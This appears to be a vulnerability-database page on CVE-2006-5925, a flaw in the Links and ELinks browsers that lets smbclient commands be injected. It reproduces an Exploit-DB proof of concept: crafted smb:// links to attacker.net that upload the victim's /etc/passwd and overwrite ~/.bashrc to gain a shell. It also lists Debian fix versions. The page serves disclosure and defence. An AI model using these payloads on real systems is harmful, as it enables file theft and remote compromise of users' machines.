VIR Vulnerability Intelligence Relay

CVE-2006-5925

unknown
Published — · Modified —
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
1.0

Description

Links web browser 1.00pre12 and Elinks 0.9.2 with smbclient installed allows remote attackers to execute arbitrary code via shell metacharacters in an smb:// URI, as demonstrated by using PUT and GET statements.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-2784 remote multiple verified text · 2 KB
Teemu Salmela · 2006-11-14

Links 1.00pre12 - 'smbclient' Remote Code Execution

text exploit Source: Exploit-DB 
<!--
Links smbclient command execution
-----------------------------------------------------------------------------
There is a flaw in the Links web browser, that allows malicious web sites to
execute smbclient commands on the victim's machine. This flaw makes it
possible to read any file from the victim system (any file that the user
running links has read access), or to upload any file to the victim system
(any file that the user running links can create/overwrite).  The attacker
could, for example, upload ~/.bashrc to gain shell access.

Version numbers:
-----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also
be installed.

Vulnerable code:
-----------------------------------------------------------------------------
smb_func() in smb.c:
   ...
   143                 if (*share) {
   144                         if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
   145                                 if (dir) {
   146                                         v[n++] = "-D";
   147                                         v[n++] = dir;
   148                                 }
   149                                 v[n++] = "-c";
   150                                 v[n++] = "ls";
   151                         } else {
   152                                 unsigned char *ss;
   153                                 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
   154                                 add_to_strn(&s, dir);
   155                                 add_to_strn(&s, "\" -");
   156                                 while ((ss = strchr(s, '/')))
*ss = '\\';
   157                                 v[n++] = "-c";
   158                                 v[n++] = s;
   159                         }
   160                 }
   161                 v[n++] = NULL;
smbclient is executed:
   162                 execvp("smbclient", (char **)v);
   163                 fprintf(stderr, "smbclient not found in $PATH");
   164                 _exit(1);
   ...
-->
<html>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a>
<a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a>
</html>

# milw0rm.com [2006-11-14]
EDB-29033 remote linux verified
Teemu Salmela · 2006-11-18

Links_ ELinks 'smbclient' - Remote Command Execution

Source code queued for fetch — refresh in a moment.

OS impact
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 0.11.1-1.2
sid Fixed 0.11.1-1.2
forky Fixed 0.11.1-1.2
bullseye Fixed 0.11.1-1.2
bookworm Fixed 0.11.1-1.2

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.